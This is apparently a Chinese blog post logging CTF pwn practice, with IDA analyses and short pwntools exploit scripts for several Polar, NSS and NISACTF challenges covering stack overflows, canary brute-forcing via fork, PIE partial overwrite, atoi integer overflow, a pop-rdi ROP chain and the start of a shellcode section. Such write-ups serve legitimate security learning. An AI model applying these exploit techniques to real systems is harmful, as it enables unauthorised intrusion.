pwn刷题记录
知识点
1.Gadget
2.shellcode
NSS-[CISCN 2023 初赛]funcanary【canary】
下载附件,直接去checksec文件,查看文件二进制保护机制
再通过file命令查看文件的信息
ida64打开,首先查看main函数
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__pid_t v3; // [rsp+Ch] [rbp-4h]
sub_1243(a1, a2, a3);
while ( 1 )
{
v3 = fork();
if ( v3 < 0 )
break;
if ( v3 )
{
wait(0LL);
}
else
{
puts("welcome");
sub_128A();
puts("have fun");
}
}
puts("fork error");
exit(0);
}
fork函数:
fork()用于创建一个子进程,我们在shell下执行一个命令其实也是通过fork()实现的,fork()是Linux下最基本的一个系统调用。fork()最大的特点就是一次调用,两次返回,两次返回主要是区分父子进程,因为fork()之后将出现两个进程,所以有两个返回值,父进程返回子进程ID,子进程返回0。
通过复制的方式创建一个进程,被创建的进程称为子进程,调用进程称为父进程,复制的子进程是从父进程fork()调用后面的语句开始执行的。
这也就是说fork()函数,将调用自己前的复制了下来,再创建了一个子进程。
子进程和父进程在开始执行时是一模一样的,但是它们的执行状态可以独立进行改变。
进程ID:
进程ID(PID)是操作系统分配给每个进程的唯一标识符。在同一时刻,每个运行中的进程都有一个唯一的PID。
当一个进程被创建时,操作系统会为其分配一个唯一的PID。PID 通常是一个正整数,系统会在进程终止后回收其PID,并可能在未来为新的进程重新分配该PID。
通过shift+f12,我们可以看到一个特殊的字符串,这或许是一个后门
在main函数中,看到了一个fork函数,和一个sub_128A()函数
因为有fork函数,这个值得我们好好利用。f前文提到fork函数将复制出一个子进程,包括但不限于代码段、数据段、堆和栈。也就是说子进程的最初状态与父进程完全一致,如此便可以知道:子父进程的canary完全相同。当程序存在fork函数并触发canary时,__ stack_chk_fail函数只能关闭fork函数所建立的进程,不会让主进程退出,所以当存在大量调用fork函数时,我们可以利用它来一字节一字节的泄露。
查看一下sub_128A,调用了read函数,又存在地址0x28,这是经典的金丝雀
v2 的值通过 __readfsqword(0x28u) 读取,这是从线程信息块(TIB)中读取堆叠金丝雀值的标准方法。TIB 中的 0x28 偏移处存储了当前线程的堆叠金丝雀值。
在sub_128A函数有溢出(read),又存在canary的阻挡,那么我们将canary覆盖,然后将溢出的发送给后门
但是我们还有pie保护,我们还得绕过pie保护。这里利用的是部分写入的方法,这是一个利用了PIE技术缺陷的绕过方法,因为内存载入虚拟内存中是通过页的方式载入的,一般来说页的大小是4kb,就是0x1000,这就代表着程序加载中因为pie导致程序的的地址就算不断地变化他的后三位都不会改变,所以我们只需要改变一个返回地址的后三位就代表着可以将这个返回地址修改成我们的后门函数的地址。
Polar靶场-简单溢出
https://www.polarctf.com/#/page/challenges
下载附件到虚拟机查看,
去ida64查看
main函数中有scanf函数,容易有栈溢出
找一下后门函数
写exp
from pwn import*
r=remote('1.95.36.136',2087)
payload=b'a'*56+p64(0x40059A)
r.sendline(payload)
r.interactive()

[NISACTF 2022]ReorPwn?
从这个题的名字就很莫名其妙,re或pwn,不管了先看看文件吧
保护开的挺多的,64位,ida64看看
main函数
看看fun函数
分析出函数是将输入的反转过来,就连其中会输出的字符都是反的
去kali nc一下
连接上后,输入后门,hs/nib/,发现换行了,查看一下目录,cat flag得到
Polar-没人能拒绝猫猫
下载附件,file&checksec一下文件
64位,开了Canary保护和NX,然后ida64查看文件
在main函数中我们需要注意这个比较的函数,比较的不是我们输入的,而是lovecat和s2,根据前面的s2的定义,我们转为字符串得到的tacetah,所以这就导致无论我们输入那个选项都注定得不到flag
那看看read函数的buf
我们可以写exp,将s2给覆盖
from pwn import*
r=remote('1.95.36.136',2107)
payload=b'a'*(0x50-0x30)+b'lovecat\x00'
r.sendline(payload)
r.interactive()
这里的lovecat后面加上\x00是必要的(虽然感觉好像用处不大,但是实践可以知道去掉就比对不成功了)个人理解:buf与s2之间相差0x20,那么就输入了那么多字节的字符a,但是buf的读取总空间有0x28(s2的空间有8字节),但是如果只有lovecat(7字节)来覆盖s2的话,就会导致这里的字符不完全,覆盖可能就未覆盖完全。加上空字符既代表了这个字符串lovecat的结束,也能完全的将s2覆盖掉。
Polar-easypwn2
64位,开了canary保护(但是没有用)
ida64查看,
关键函数分析:如果s里有字符的ascii码值为45(即负号),就终止程序。如果将s转为整数后小于0,就调用vuln函数,
因为vuln函数调用了system函数去cat flag,所以我们就得调用vuln函数。但是如果直接输入负数的话将会导致程序终止,所以我们不能输入负数,但是又得保证s被转为整数后能够变为负数。
atoi()函数是用于将字符串转换成整数的一个标准库函数。这个函数能够扫描指定的字符串,跳过前面的空白字符,例如空格或tab缩进,直到遇到数字或正负符号才开始转换。转换会在遇到非数字字符或字符串结束时停止,并返回一个整数值。
在编程中,int类型的数值有一个固定的范围。在32位系统中,有符号的int类型范围是-2147483648到2147483647,无符号的int类型范围是0到429496729512。
当int类型的数值超过其最大值时,会发生溢出。具体表现为:
有符号int类型:当数值超过2147483647时,会从最小值-2147483648重新开始。例如: int a = 2147483647; int b = a + 1; // b的值为-2147483648 这种现象称为循环赋值。
无符号int类型:当数值超过4294967295时,会从0重新开始。例如: unsigned int x = 4294967295; unsigned int y = x + 1; // y的值为0 这种现象也是一种循环赋值
所以我们就将s覆盖为 2147483647
所以exp:
from pwn import*
r=remote('1.95.36.136',2062)
payload=b'2147483648'
r.sendline(payload)
r.interactive()
Polar-system

64位,ida64打开,canary,NX开启,
main函数:
读取buf,调用system函数,但是system函数里的是buf,所以我们直接讲cat flag给读取作为buf
exp:
from pwn import*
r=remote('1.95.36.136',2056)
payload=b'cat flag\x00'
r.sendline(payload)
r.interactive()
Polar-emm
根据信息,32位
在main函数中看到直接调用了yes函数,同时,在function中发现一个具有怀疑的函数---flag
分别查看

yes函数给了权限,以及存在一个栈溢出的可能

而flag函数直接运用system去获得flag,所以我们利用栈溢出漏洞,将返回地址设为flag函数的起始位置

from pwn import*
r=remote('1.95.36.136',2081)
payload=b'a'*92+p32(0x80484CB)
r.sendline(payload)
r.interactive()

Polar-Choice

从main函数可以直接看到这应该是一个menu选择接下来的操作

进行调试看偏移量
下断点在Data3函数处,因为经对比发现只有Data3存在溢出的危险,Data123的空间都是48,但是只有data3是可以读取0x50的字长



所以运行后选择3
这里查看给我们的信息
目前程序仅仅执行到了data3函数的入口,那么就cyclic 100命令获取一段长字符,在下一个输入中让程序崩溃

接下来观察这个ret的地址,利用它来找偏移量

得到偏移量为56
返回地址就是获得/bin/sh的地址

所以写exp:
from pwn import*
r=remote("1.95.36.136",2107)
payload1='3'
r.sendline(payload1)
payload=b'a'*56+p64(0x4007BE)
r.sendline(payload)
r.interactive()

polar-overload1
直接看
这个main函数不知道是输出了什么,先不管
其判断逻辑就是在输出后有一个输入(这里输入最长是0x110) ,第一个输入为y时就会又一个输入,然后再进入到下一个判断,输入的检索为1的等于a时就会获得权限,然后就可以执行自己想要的了
执行试试
写exp
from pwn import*
r=remote("1.95.36.136",2067)
payload='y'
r.sendline(payload)
payload1=b'a'*278
r.sendline(payload1)
r.interactive()

Polar-x64

main函数调用了两个函数,其中function中使用了read函数,所以会存在栈溢出的漏洞
其空间只有128,但是可以读取0x200
所以我们构造一长大于128的即可
在函数表中我们看到了一个shell函数,这个名字有点怀疑
其中有system函数,但是system内没有东西,所以导致即使返回地址到这了,也无法去获得权限

在字符串中看到了/bin/sh,如果这个字符能够在system函数中就可以实现获得权限
跟ai对话学习了一下gadget:https://www.qianwen.com/share/chat/a4ac1a735710498db2d49883a71798aa
Gadget
Gadget也就是将程序中的某些有特殊意义却没用的字符串利用起来,比如有闲置的/bin/sh,但是system函数中没有,所以将它拼接进system中就利用起来了,那么就可以获得权限了
查找方法:
ROPgadget --binary ./Choice --only "pop|ret" | grep rdi
该方法可以绕过NX保护以及DEP保护
所以先去看一下ret地址
/bin/sh的地址:
system的地址:
所以payload
from pwn import*
r=remote("1.95.36.136",2074)
rdi_add=0x4007e3
bin_add=0x601060
sys_add=0x4006b6
payload1=b'a'*136+p64(rdi_add)+p64(bin_add)+p64(sys_add)
r.sendline(payload1)
r.interactive()

Polar-你是大佬还是菜鸡

直接main函数,发现有个选择,
这里只允许1和2的输入,当输入1就会执行dalao函数然后再执行caiji函数,如果不是1,2,就会直接退出程序
再来看caiji和dalao函数,发现dalao才是小丑,进去后得到一句嘲笑就退出函数了,而caiji函数却有输入的机会,这里存在栈溢出的漏洞,空间为0x20,但是可以输入0x64


所以我们需要选择2,执行caiji函数
然后利用栈溢出漏洞,将返回地址修改到hint函数
所以exp:
from pwn import*
r=remote("1.95.36.136",2061)
payload='2'
r.sendline(payload)
payload1=b'a'*40+p64(0x4008B0)
r.sendline(payload1)
r.interactive()

Polar-Easy_ShellCode

什么保护都没开
main函数很简单
这里存在栈溢出的漏洞,利用这里进行溢出覆盖
注意这里的str,str在bss段,buf在栈上,且没有找到后门,所以就得构造
这是一个shellcode类型的题目
ShellCode类型
Shellcode类型是指攻击者需要自己构造一段可执行的机器码(即 Shellcode),通过漏洞(如栈溢出)将其注入到内存中,并让程序跳转到这段代码执行,从而获得控制权(通常是 /bin/sh)。
其特征:最重要的点是
1.没有保护机制,即没有 NX/DEP(允许栈或堆上执行代码)、没有 PIE(地址固定)、没有 Canary(容易溢出覆盖返回地址)
2.执行自己所写的代码,而不执行libch函数的
3.涉及到写跳,先把 Shellcode 写到某个可执行区域(如 .bss、栈、堆),然后覆盖返回地址跳过去执行
注解:BSS 段存放未初始化的全局变量,通常是可读写,且在无 NX 时可执行。
利用vmmap命令在gdb中查看是否有可读写且可执行(即rwxp四个权限)的区域
比如下图

另还需去查看地址
32位程序用命令p $esp,而64位程序用命令p $rsp来找到可读可写可执行的地址
![]()
payload:
shellcode = asm(shellcraft.sh())
这里我们接着解需要自己构造一个
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐



所有评论(0)